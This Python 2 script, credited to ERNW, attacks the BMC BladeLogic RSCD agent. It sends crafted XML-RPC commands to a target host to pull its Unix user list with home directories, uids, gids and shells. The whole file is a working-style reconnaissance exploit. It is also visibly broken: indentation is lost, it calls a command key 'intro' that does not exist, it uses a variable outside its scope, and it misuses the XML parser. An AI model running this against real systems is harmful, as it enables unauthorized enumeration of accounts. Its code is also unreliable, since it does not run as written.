# Retrieving system users with BMC BladeLogic RSCD agent (checked for v8.6.01.66)
# Copyright: ERNW
from RSCDAdapter import RSCDAdapter
import socket
import ssl
import sys
import requests
import argparse
import xml.etree.ElementTree as ET
# Commands
c = {"init":"""RemoteServer.intro2015-11-19-16-10-30-392095870;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;8.6.01.66""",\
"getVersion":"""RemoteServer.getVersion""",\
"getUsers":"""DAAL.getAssetChildrenStreamtypeNameBMC_UnixUsershost0.0.0.0containerstringIS_LIVEvaluelongValue1kind1path/1""",\
"getNext":"""DAAL.assetStreamGetNextstreamIDsessionId2100""",\
"closeAsset":"""DAAL.assetStreamClosestreamIDsessionId2"""}
def optParser():
parser = argparse.ArgumentParser(description="Retrieving system users with BMC BladeLogic Server Automation RSCD agent")
parser.add_argument("host", help="IP address of a target system")
parser.add_argument("-p", "--port", type=int, default=4750, help="TCP port (default: 4750)")
opts=parser.parse_args()
return opts
def send_xmlrpc(cmd):
r = s.post('https://%s:%s/xmlrpc' % (options.host, options.port), data=cmd)
return r.content
def parse_version(str):
rootVersion = ET.fromstring(str)
print "========================="
print "Major version: " + rootVersion[0][0][0][0][0][1].text
print "Minor version: " + rootVersion[0][0][0][0][1][1].text
print "Patch version: " + rootVersion[0][0][0][0][2][1].text
print "Platform version: " + rootVersion[0][0][0][0][3][1].text
print "=========================\n"
def parse_users(str):
# Parsing the response
# If parsing does not work correctly, the users' information still can be found in the saved users.xml file
root = ET.fromstring(str).getroot()
count = 0
ind = 1
while ind:
try:
ind = root[0][0][0][0][0][1][0][0][count][0][0][1][0][2][1].text
except IndexError:
pass
break
count += 1
print "Number of users found: " + str(count) + "\n"
for i in range(0, count):
print "User " + str(i) + ": " + root[0][0][0][0][0][1][0][0][i][0][0][1][0][2][
1].text + "\n........................"
print "home directory:" + root[0][0][0][0][0][1][0][0][i][0][1][1][0][2][1][0][0][0][0][1][1][0][1][1].text
print "uid:" + root[0][0][0][0][0][1][0][0][i][0][1][1][0][2][1][0][0][11][0][1][1][0][1][1][0].text
print "gid:" + root[0][0][0][0][0][1][0][0][i][0][1][1][0][2][1][0][0][3][0][1][1][0][1][1][0].text
print "primaryGroupName:" + root[0][0][0][0][0][1][0][0][i][0][1][1][0][2][1][0][0][4][0][1][1][0][1][1].text
try:
print "username:" + root[0][0][0][0][0][1][0][0][i][0][1][1][0][2][1][0][0][2][0][1][1][0][1][1].text
except IndexError:
pass
try:
print "shell:" + root[0][0][0][0][0][1][0][0][i][0][1][1][0][2][1][0][0][10][0][1][1][0][1][1].text
except IndexError:
pass
print "........................\n"
def main():
global s
options = optParser()
s = requests.Session()
s.mount('https://', RSCDAdapter())
print "Sending intro..."
send_xmlrpc(c['intro'])
print "Getting version..."
parse_version(send_xmlrpc(c['getVersion']))
print "Sending request for users...\n"
send_xmlrpc(c['getUsers'])
parse_users(send_xmlrpc(c['getNext']))
send_xmlrpc(c['getNext'])
send_xmlrpc(c['closeAsset'])
s.close()
if __name__ == "__main__":
main()